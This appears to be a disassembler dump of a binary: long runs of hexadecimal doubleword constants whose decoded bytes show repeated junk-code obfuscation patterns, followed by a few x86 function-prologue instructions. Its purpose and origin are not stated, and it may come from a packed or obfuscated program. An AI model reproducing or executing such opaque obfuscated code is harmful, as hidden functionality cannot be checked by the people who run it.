4245489h, 4244481h, 14h, 0F3C35242h, 9FF5DA81h dd 81662005h, 8DB071D3h, 75A018Dh, 8B665606h, 1895AD7h dd 18B0Fh, 33F80000h, 53006AC2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0CF400BD2h, 297ED432h dd 71D45B5h, 4189F906h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0BB2B6FF2h, 6694847Fh dd 0F6D9DBBh, 53006A31h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0A8E97480h, 5A118D8Dh, 0BF0F0607h dd 6A0189D6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0A140C355h, 7C6F0DF8h, 3F9DA80h dd 70BE595h, 0E9C23306h, 14h, 54F40CAEh, 55C2DE3Eh, 63A3D62Dh dd 3154EDC1h, 18663711h, 8B044189h, 713719Dh, 518D8906h dd 83060716h, 718EDBDh, 840F0006h, 7, 0A995FFF8h, 83060704h dd 73181BDh, 850F0106h, 8Ch, 197D8589h, 81E90607h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0ABD1C351h, 6AA2567Bh, 8B198D93h, 75B59B5h dd 6C706h, 8B000000h, 75927B5h, 6C706h, 0CF000000h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 59C35242h, 452D8A90h dd 165DB589h, 0E8510607h, 10h, 8EECF10Fh, 5C079C87h, 0F345E1FCh dd 0FA05B63Bh, 1A859D2Bh, 5B5A0607h, 13B5BD83h, 0F000607h dd 19384h, 0B58B6000h, 6072ECDh, 0FB23BB66h, 0ADBD8361h dd 1060715h, 167850Fh, 958B0000h, 6072FADh, 1745B589h dd 8D8B0607h, 6074AE4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 46C35141h, 0DBAC85F1h, 9D89C85Ah, 6072059h dd 8E9h, 0F4EF5E00h, 45C6F109h, 1C6D2h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h, 18418779h dd 8B71F254h, 72E3595h, 0DE8B6606h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 1658A26Ch dd 0B174682Ah, 20D18529h, 4E80607h, 80000000h, 50000000h dd 0DA8A5252h, 50310F5Bh, 11E952h, 0E9850000h, 0BF7CB3FFh dd 6DDF1734h, 7C29FA61h, 0F49E44Dh, 5A5A5731h, 50585A58h dd 2850F52h, 0B7000000h, 448B5B4Ah, 0BA660424h, 8B4AD2h dd 4489D3B2h, 0CBB0424h, 583CF8C2h, 0FF6A97B2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CDC35242h, 0FF59A3D4h dd 70C3195h, 3D958B06h, 6106072Eh, 2DED9D8Bh, 95FF0607h dd 607174Dh, 8B17EA80h, 74AE48Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0FEF9FB2Fh dd 0BFEA8001h, 0C7816660h, 0BD037F36h, 60732B5h, 6DBD8361h dd 1060731h, 6850Fh, 9D310000h, 6070F25h, 8D29C08Bh, 6072FB1h dd 211BD83h, 75000607h, 65BD8309h, 6070Dh, 53501A74h, 858BC08Bh dd 607302Dh, 302D8589h, 9D8D0607h, 609AAA8h, 585BD3FFh dd 0D65BD83h, 74000607h, 8B535018h, 7302D85h, 2D858906h dd 8D060730h, 9A7979Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0FADB8C59h dd 0E9E6A80Bh, 0D08B66DAh, 0CE80C08Bh, 0B5BD8386h, 60713h dd 18850Fh, 0BD890000h, 6072D7Dh, 0B9DBD83h, 0F000607h dd 584h, 451BBA00h, 0BD8337A0h, 60713B5h, 1A840F00h, 8A000000h dd 0A1BD83DDh, 60713h, 0B840Fh, 66600000h, 0BF0FD98Bh dd 0CE8061F6h, 0B5BD832Bh, 60713h, 0F840Fh, 0BD830000h dd 60713A1h, 2840F00h, 0B7000000h, 0B5BD838Ah, 60713h dd 42840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 2F2D7C3h, 5FEAB1ECh, 6800F08h, 8B000000h dd 718FD95h, 0C1BD8906h, 8306070Ch, 71759BDh, 840F0006h dd 0 dd 13B5BD83h, 0F000607h, 3A84h, 51D38100h, 837122D9h, 71001BDh dd 840F0006h, 27h, 6E860h, 0D4090000h, 0B70D300Fh, 0E350DE81h dd 0F5A7EFAh, 68Eh, 4D8D8900h, 6106071Ch, 0D2595FFh, 8BF90607h dd 0E8D0FC0h, 0E9000000h, 9, 0BA6531Ch, 572551D4h, 11BD83CEh dd 60702h, 0BD830975h, 6070D65h, 501A7400h, 8BC08B53h dd 723A985h, 0A9858906h, 8D060723h, 9AB0F9Dh, 5BD3FF06h dd 65BD8358h, 6070Dh, 53501874h, 23A9858Bh, 85890607h dd 60723A9h, 0A7B09D8Dh, 0D3FF0609h, 14E8585Bh, 5000000h dd 43D4AD69h, 6677E274h, 0EB4F0DD8h, 0A6C77996h, 5ADF9BF7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 18C35747h dd 748CE43Ah, 6880F85h, 89000000h, 70B7D9Dh, 818D8906h dd 8B06071Bh, 0FE9C0h, 0BFB20000h, 0B3B206AAh, 0C6BD5DC1h dd 61DBE919h, 0B5BD8318h, 60713h, 503840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F9D694C3h, 0BD83FD8Ah, 6071BADh, 37840F02h, 0F000000h dd 68Eh, 0A1958B00h, 83060716h, 73181BDh, 850F0106h, 1Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 65C35747h dd 0BD83CCB9h, 607179Dh, 0D3840F00h, 66000000h, 0F56DABAh dd 5160D2B7h, 5FD958Bh, 8B5A0607h, 74AE48Dh, 13E806h, 66EA0000h dd 1AD31195h, 0B1C71A39h, 0DFA11173h, 0D6CB0AF7h, 2ACA8081h dd 0F01FE5Bh, 0A268D1B7h, 661B4104h, 814EAABBh, 4222434h dd 6A1B41h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 3A5DECC3h, 0DD752E77h, 0D419D8Bh, 0FF6A0607h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 57C35040h dd 3C80D107h, 164CBA66h, 3195FFFCh, 6A06070Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0A141C351h, 6685CB2Fh, 0C3BDD281h, 800Fh, 60610000h dd 27FDBD89h, 0F6800607h, 6A606163h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FD13C355h dd 0E90D2085h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh dd 4AE48D8Bh, 860F0607h, 13h, 0EE9h, 4CE2300h, 8E46997Bh dd 45E838F9h, 0FE9E6804h, 0AE96001h, 0BC000000h, 394290C1h dd 87B9AE32h, 0A1952301h, 6106071Ah, 68A3A768h, 0E852508Eh dd 14h, 47497B54h, 4CBF8408h, 46B000DEh, 0D441AB27h, 0C09C3287h dd 0FE9h, 0FBBF0900h, 5679D7F8h, 2D996040h, 2DE59592h dd 0B6310F5Bh, 81585A70h, 5CD92404h, 6A7197h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 9A6D4EC3h dd 8F0F50C2h, 13h, 0DE8h, 0D690B500h, 0C27463E8h, 0FFCE283h dd 5B5AE368h, 0BB66FF6Ah, 95FFBDF9h, 6070C31h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 48C35747h, 0E9B183E7h dd 12h, 0AFE7D4E1h, 8B06B56Eh, 0D781C545h, 0EE2AE4D8h dd 13E91E78h, 13000000h, 0CBD88493h, 0C9D9AD8Ch, 70903F96h dd 0C6D9A02Fh, 80619AFDh, 0BD8D64DAh, 60730ADh, 0BA1C4F8Bh dd 2D52CDB7h, 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0AE888C3h, 96000000h, 492A51D3h dd 0C8D6B0F0h, 0DE9B7h, 1D7B0000h, 0ECBACA46h, 0E37E4B89h dd 5BC0F5E0h, 50D9BF0Fh, 0C9BE6660h, 0C89610Ch, 0DD9D8B24h dd 8D060703h, 0A3BCF85h, 0F99D8B06h, 2B060723h, 7239195h dd 0FD0FF06h, 0C82h, 6860F00h, 89000000h, 712498Dh, 204F8B06h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C3C35545h dd 181FE24Ch, 0B3F4F9D2h, 0F036A8Bh, 88Dh, 95095300h, 6071855h dd 0F0B2505Ah, 80240C89h, 858D09E3h, 60A3BCFh, 0AE8h, 68C71B00h dd 0A0239B6Bh, 8B69A70Dh, 70DD19Dh, 0D0FF5B06h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FBC35747h, 81255604h dd 0C1ABDCEAh, 0F8DE8B12h, 30ADBD8Dh, 0F18A0607h, 291C4F8Bh dd 70F85B5h, 89016A06h, 70601B5h, 0DC8A5006h, 0F240C89h dd 0E84h, 9E900h, 0A4EA0000h, 14CD1565h, 8D1B767Eh, 0A3BCF85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 459A2E82h, 0F344357Eh, 0D0FFF808h, 3759D8Bh dd 4F8B0607h, 4A42BA20h, 36A007Fh, 0CE9h, 0B8255800h, 9F43ED76h dd 3EED1340h, 25B29135h, 91D38B50h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0E0C35242h, 0FE8D1635h, 0CF858D83h dd 0F060A3Bh, 0C89h, 68E0F00h, 89000000h, 71645BDh, 0E8D0FF06h dd 0Bh, 2AC19683h, 0CAAC9E59h, 0E967AE58h, 0Ch, 60FDE4F1h dd 0A888A2BCh, 66115E5Dh, 0E48D8B5Bh, 8906074Ah, 704099Dh dd 6601FE06h, 4370E281h, 4AE4858Bh, 0D3810607h, 6510DC9h dd 6AF500FEh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8166F038h, 0E9D889D2h, 0Fh, 55F37F80h dd 47740614h, 2C4740Dh, 68C8547Eh, 0BAB1ED6Eh, 2830Fh dd 31B60000h, 91240481h, 66454DB2h, 1028E381h, 3BD9858Dh dd 9D89060Ah, 60721A9h, 8B66D0FFh, 9DBD83D7h, 6070Bh, 8F840Fh dd 0F8BA0000h, 835B7AAEh, 732B1BDh, 850F0106h, 7Dh, 6810Fh dd 958B0000h, 6072FC5h, 3BE38D8Dh, 0D18B060Ah, 6A036Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B14738C3h, 8E0F67F3h, 3, 6AD7B70Fh, 4FEF8001h, 8E9D1FFh dd 54000000h, 81AD442Fh, 6ACCF1EFh, 0D1B70F01h, 840F016Ah dd 6, 8F29D381h, 0D1FF20EFh, 0BCCABB66h, 546028E8h, 6840FFAh dd 81000000h, 0C93DE2DAh, 0BA206A77h, 69F8896h, 958BFF6Ah dd 6073321h, 0C3195FFh, 0DA8B0607h, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 60D8E3F6h, 0FC00B81h, 6A84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 88801D65h dd 80C55A16h, 0BD8362C7h, 6071335h, 38840F00h, 0F000000h dd 0C380D2BFh, 0F995FFADh, 6A060731h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 2343C350h dd 0DD6DA388h, 236D9D89h, 71BA0607h, 8B5EB1ABh, 71A2985h dd 35958B06h, 8A06070Eh, 0C6F1h, 0F58DF8Bh, 8C66DBB7h dd 2D958BD9h, 0F606072Fh, 840F04C1h, 53h, 1FCD9589h, 0F08A0607h dd 46E9h, 0FD958B00h, 8B06071Ah, 71B75B5h, 81DC8A06h, 1180C6h dd 8B0CB700h, 718CD95h, 6C706h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 77B8C350h dd 0C67EE41Ch, 5E686D84h, 5D7FBB66h, 0F00F883h, 0C2E84h dd 8BBA6600h, 1F88305h, 1A5850Fh, 0D88B0000h dd 0B219D8Bh, 0B80607h, 66000000h, 0BE41CBBh, 0E1840FC0h dd 0F000000h, 186h, 0DE9F900h, 0DC000000h, 1B317E29h, 71501E13h dd 85FC603Dh, 0F01F883h, 0F784h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0B61B8ED8h dd 59507625h, 1BBBEB64h, 832B5927h, 840F03F8h, 41h, 8BDBBF0Fh dd 702A59Dh, 0B806h, 0EE90000h, 2D000000h, 2B776E2h, 4D287ABFh dd 64971C38h, 74BD8D99h, 8B005B79h, 7239195h, 89F38106h dd 0FF7B44C4h, 6800FE7h, 81000000h, 0FE295EE3h, 1B85Ah dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8BAB01C3h, 0A4840F68h, 8D9DD6CFh, 5B7974BDh dd 5132B200h, 0FF5BDA8Bh, 0CE9E7h, 0EAF0000h, 5B27892h dd 544DECBEh, 0DE8BD7D1h, 4170BD8Dh, 890F0607h, 3, 0BBD98B66h dd 57CF50F2h, 3A6E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0F8AE1D93h, 4B3F85C7h dd 50607h, 0D68B0000h, 5B8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0F906C3h, 1A699D8Bh dd 95330607h, 6070BADh, 9F3E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9A53ABBh dd 0Fh, 97BF95CCh, 1481B0D1h, 0B1CC1692h, 835F1D4Ah, 850F02F8h dd 122h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0E9C35141h, 89F88AC5h, 70AE995h, 0B806h, 9D2B0000h dd 6070B2Dh, 18119533h, 0C00B0607h, 0B5840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 6B8F7EC3h, 0F6E8700h, 1C87h, 14E800h, 3F880000h, 61CD9012h dd 0CC6B65Ah, 378A720Ch, 93EB3A99h, 0D18A343Ch, 1F8835Bh dd 0FEFA840Fh, 9D0BFFFFh, 607020Dh, 1181BB66h, 0F03F883h dd 0FFFE6484h, 0C800FFFh, 0F000000h, 687h, 0A9950100h dd 89060713h, 71A71B5h, 0E9C02B06h, 6, 0BBADC689h, 0BD8D85E9h dd 5B7974h, 6AE7FFF9h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F4FC356h, 68Bh, 83E38100h dd 8D4B5ED1h, 74368BDh, 10E906h, 70F10000h, 662E96C6h dd 0EB7851D1h, 2CB32FD9h, 0F8E9663Eh, 66000001h, 3EC4DB81h dd 5E9h, 184E9C00h, 0F8839E9Bh, 6E850F03h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0BE85C351h, 37E4836Ch, 0DEFF5EC3h, 0E83BD780h, 0Bh dd 94AD292Dh, 140C4E68h, 0F99F4FFh, 385h, 0D18B6600h, 0FCBD8D5Bh dd 6A060744h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 1B01C352h, 59041403h, 172E9h dd 5F88300h, 0C850Fh, 81660000h, 0E9ADE9EAh, 80Ch, 0F8836DB2h dd 7A850F06h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 4CDCC357h, 55A33045h dd 0D896F804h, 32719D8Bh, 0BD8D0607h, 60746F4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 75C35343h, 8589346Fh dd 60711E5h, 0FAE9h, 0D68B6600h, 17850Fh, 12E90000h, 13000000h dd 0A96B6618h, 0ECBCEA3Ch, 848C14ABh, 803B15C3h, 7F88306h dd 3D850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 27C7B0C3h, 3E83BED2h, 79958973h dd 8D060721h, 72411BDh, 0E5BD8906h, 0E9060719h, 119h, 83D78B66h dd 850F0AF8h, 8Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 65C35040h, 0F1B5898Ch, 8D060711h, 748ECBDh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 69E1F855h, 0F60A8E1h, 686h, 719D0100h, 66060705h dd 8B61C28Bh, 71A5D9Dh, 25E906h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2ECDB7C3h dd 5CA8F193h, 57D18A4Fh, 0E49958Bh, 17B90607h, 834D93B7h dd 840F003Fh, 66h, 13E8h, 0A47C0A00h, 7C932BC7h, 5D78039Fh dd 4C50E32Eh, 0FDF30719h, 5AD1BF0Fh, 0E90F30F8h, 6, 0F228890Bh dd 0C9D1EEFDh, 47D88B66h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0B5C35040h, 8923C0EDh, 71A858Dh, 0FF9DE906h dd 0F281FFFFh, 68EE21B3h, 18C1BD89h, 895F0607h, 70CC9BDh dd 0E8BD8906h, 6A06074Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0E3C2C353h, 0F5D5C3C4h dd 291008A3h, 70E058Dh, 7D8D8D06h, 66060727h, 2B9EDA81h dd 191DB5FFh, 840F0607h, 0 dd 0A3A6858Dh, 8D500609h, 751FFBDh, 518D8D06h, 0B806076Ch dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 6076BE9h dd 6C698D8Dh, 0CF2B0607h, 0C933A4F3h, 0B8h, 74C00B00h dd 35BD8346h, 60713h, 95FF0674h, 60731F9h, 4AE8B58Bh, 858D0607h dd 609A3A6h, 858DD0FFh, 60740F3h, 85C7D0FFh, 6072899h dd 1, 2F51A58Bh, 0B58B0607h, 607181Dh, 0FDAD8Bh, 0C0330607h dd 0BA000CC2h, 41748C40h, 0D5DBD89h, 0BD830607h, 6070C49h dd 0F840F00h, 81000000h, 456AB9DBh, 6D95FF12h, 66060726h dd 0BD83DA8Bh, 6070E25h, 0C1850F00h, 60000001h, 9E9h, 1567D100h dd 0E1577E57h, 9D894B4Eh, 60715B9h, 0B1BD8361h, 1060732h dd 19E850Fh, 0D98B0000h, 2A1BD83h, 0F000607h, 18F84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 2FCDBE74h, 10E9h, 8D692500h, 1943A707h, 67DDF04Ch, 0A20060D1h dd 3BBD8364h, 6074Bh, 14E840Fh, 8C0F0000h, 0Ah, 8B616060h dd 70BED8Dh, 858D6106h, 609A3A6h, 0A318D89h, 0B58B0607h dd 6074AE8h, 0FFD8B70Fh, 9D9D33D0h, 0C6060731h, 7152585h dd 85895406h, 60711F1h, 4E8h, 4EBEF400h, 0DF8B66FFh, 66605050h dd 0BA66FE8Bh, 5B61F1B5h, 424448Bh, 8BD08B66h, 0B0566000h dd 95B95938h, 615B19CEh, 4244489h, 9E8h, 0FE6E1600h, 64730EFEh dd 8B66CB75h, 0B6585AD3h, 39B5FF28h, 89060729h, 7034985h dd 8D858D06h, 6A060738h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 4E3FC353h, 69C378F9h dd 55958B03h, 0FF060718h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 6EF1214Dh dd 7E82867h, 0D0000000h, 0EC5F064h, 0B70F0C48h, 6A5AD8h dd 19418529h, 958B0607h, 6071319h, 9D8BFF6Ah, 6070315h dd 0FFD78B66h, 0FF50B7D0h, 71B39B5h, 0F3816606h, 95899C2Eh dd 60715A9h, 191D95FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 35A223C3h, 0E9844E50h dd 8, 64AF9D83h, 0E5E9DBF1h, 4AE8B58Bh, 0D08A0607h, 3840FC3h dd 0F000000h, 0B58BDAB7h, 6071A29h, 2CC5958Bh, 0F60B0607h dd 35840Fh, 0CE800000h, 0A18D3193h, 0C606070Bh, 6A0006h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0EA9E6FC3h, 39BA66D6h, 9958BE3h, 89060724h, 74AF085h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0A486F685h, 0F00F883h, 39E84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0CD6D934Ah, 38F38150h, 5B70A822h, 0B8h, 0D8DA8000h dd 0F00F883h, 10684h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0F9952921h, 8906070Fh dd 71935BDh, 2F88306h, 0A2850Fh, 0B5010000h, 6071355h dd 416B858Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8BF549C3h, 706299Dh, 9292D06h, 0D18B0000h dd 89B4B250h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 48C963C3h, 0C915D9E1h, 6595893Ah dd 89060714h, 71A219Dh, 6AC306h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 498F2CC3h, 0DDB15E3h dd 0DE903C0h, 0FA000000h, 0CBFDD15Ah, 8D8008B3h, 833B8EB8h dd 0B8h, 0B5896000h, 6070B05h, 1A09B589h, 0E9610607h, 27Bh dd 0FE8h, 44A7F200h, 0F0E5A6E5h, 1181F75Ch, 0B13F7DA7h dd 0BA19589h, 0B85A0607h, 1, 0CE8h, 9F412400h, 47E9BDFEh dd 0E402BAE8h, 68E0F14h, 29000000h, 70B0595h, 0BD8D5A06h dd 6074170h, 285195BBh, 0EDE957h, 0BA660000h, 0F88382F2h dd 58850F02h, 0F000000h, 0BD8DD9B7h, 6074368h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D6C35747h, 0FCB614C5h dd 0B2E9h, 14E86000h, 0E8000000h, 85651462h, 0C70E4A98h dd 0FA8F07E5h, 58763D57h, 31FB658Ah, 726399Dh, 8E0F5806h dd 2, 83615A56h, 850F03F8h, 1Bh, 36D958Bh, 0BD8D0607h dd 60744FCh, 0CF7DBA66h, 6AE9h, 259D8B00h, 8306072Dh, 850F05F8h dd 5Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h dd 8C35040h, 1D575AF8h, 9952B0Ah, 60060700h, 689950Bh dd 0E9610607h, 0ACh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0CBC35545h, 1C4647A7h, 2D952965h, 5706070Ch dd 0D3F38166h, 0B717B997h, 0D38B4D93h, 0F003F83h, 6F84h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0F6E41423h, 0CF800607h, 800F30ABh, 0C9D1DCC2h dd 6870Fh, 0B5290000h, 6071CD9h, 52006A47h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0A836A5ECh dd 91B69EBh, 718E98Dh, 0CFBB6606h, 0FF8EE9CFh, 0BD29FFFFh dd 60711B5h, 0F05F883h, 0B285h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0BBD42630h dd 7179844Eh, 10E8h, 0FF478600h, 0F2692041h, 50F47834h dd 46E715F7h, 7D8D89BCh, 5B060732h, 89D98C66h, 702F9BDh dd 4C1F606h, 32850Fh, 9D2B0000h, 6071E0Dh, 0B8h, 0C19D0B00h dd 0E9060703h, 4Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 37C35747h, 1D0D858Bh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 4AB636C3h, 0FFEC647Ch, 0C6F281E0h, 836A4CD8h, 7191DBDh dd 850F0006h, 0ECh, 0AE860h, 25730000h, 0E0204261h, 0E0165E48h dd 5EF2BF0Fh, 0B2D8D8Bh, 50610607h, 0DFE298BAh, 24048933h dd 3FD8509h, 85C60607h, 6071525h, 619D3145h, 6806070Bh dd 0BA61399Ah, 70BB66h, 0F3243481h, 89341350h, 719A985h dd 39B5FF06h, 6A060729h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 6CB5C353h, 6E940h dd 406F0000h, 0B78F1C3h, 388D858Dh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 4B74AAC3h dd 0F821DFBBh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 8EA04EC3h, 0AE90F33h, 23000000h dd 434282AAh, 4F0BAF0Ah, 1D858919h, 0F060719h, 581h, 21D1BA00h dd 66581097h, 0F9DBA3BBh, 4B3FBD83h, 0F000607h, 3284h dd 0E3816600h, 0B5FFA29Ah, 6071B39h, 1375958Bh, 10E90607h dd 74000000h, 0E7201F7Ah, 0CC41F32Bh, 3E63AA4Ah, 0FFF2B9D3h dd 7191D95h, 0C4BB6606h, 83D2B3E4h, 850F00F8h, 0D6h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 9D72D1C9h dd 515ED88h, 31F3BB66h, 11E1BD83h, 0F000607h, 5184h, 0BAEB8100h dd 0E97D3116h, 5, 91A5D951h, 0E1B5FF8Dh, 8B060711h, 70CE195h dd 1B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0C87C8EC3h, 80BF646Dh, 9531D1E3h dd 6070F91h, 1BFE9h, 0B5FFF900h, 6071B39h, 0B5FFC6B7h dd 6071B39h, 0D88BDE8Bh, 191DB5FFh, 9D8B0607h, 6071581h dd 0E9DBBF0Fh, 198h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 83C35040h, 82940FF8h, 316DAFFCh, 830Fh dd 0E85F0000h, 0Dh, 71060B28h, 48CD819Bh, 8E6B8D85h, 0BD9D0144h dd 5B060704h, 1201BD83h, 0F000607h, 0D985h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 9AD6F2E3h, 0F372F1Dh, 687h, 19852900h, 8B060719h, 718B995h dd 2585C606h, 4D060715h, 11E9h, 17B30800h, 6D6D3354h, 126788F7h dd 0C23E7A8h, 5968B55Bh, 0E99CFE95h, 0Eh, 17633915h, 71A287C4h dd 0BFE44BFFh, 34815CECh, 0CBE3F124h, 71958938h, 8B06072Fh dd 7176995h, 99B5FF06h, 0E8060731h, 8, 0D30243FAh, 50BB6E1Dh dd 2091958Bh, 8D5B0607h, 7388D85h, 0F9B58906h, 0FF060715h dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 85F53FA1h, 0CD99D8Bh, 9D8B0607h, 6071C45h dd 12018589h, 0BB660607h, 0B841C3h, 0F000000h, 0DA80DEBFh dd 0E8BD8958h, 0F06074Ah, 680h, 899D8B00h, 0B06071Ch, 29840FC0h dd 0F000000h, 683h, 0D950900h, 0E9060715h, 38h, 12800Fh dd 6E80000h, 0D5000000h, 7693E59Bh, 85958B26h, 5A060721h dd 191DB5FFh, 9D0B0607h, 6071A9Dh, 0A3A6858Dh, 95010609h dd 60718B5h, 89F88A50h, 5B522404h, 0BD8D5650h, 60751FFh dd 76708D8Dh, 0BCB80607h, 2B748323h, 0D00730CFh, 754947C8h dd 83585EF8h, 711E1BDh, 6740006h, 5A98D8Bh, 0C9330607h dd 0B8h, 0FC00B00h, 9984h, 35BD8300h, 60713h, 95FF0674h dd 60731F9h, 0B8h, 75C00B00h, 0F0BD8309h, 106074Ah, 0BD830974h dd 6074AF0h, 8B0E7502h, 74AE8B5h, 0A6858D06h, 0FF0609A3h dd 0F3858DD0h, 0FF060740h, 0ADBD83D0h, 206071Bh, 0A58B2F75h dd 6072F51h, 11E1858Bh, 4890607h, 9985C724h, 1060728h dd 8B000000h, 74AECB5h, 0FDAD8B06h, 0B8060700h, 1, 0EB000CC2h dd 9985C700h, 1060728h, 8B000000h, 72F51A5h, 1DB58B06h dd 8B060718h, 700FDADh, 0C2C03306h, 0BD83000Ch, 6070C49h dd 830F7400h, 7266DBDh, 6740006h, 266D95FFh, 0B58B0607h dd 6074AE8h, 10E381C3h, 8B1AD3B8h, 71D4D95h, 8D8B6006h dd 6072955h, 25D9D8Bh, 0BA610607h, 0 dd 9F95BA66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5433DC ; 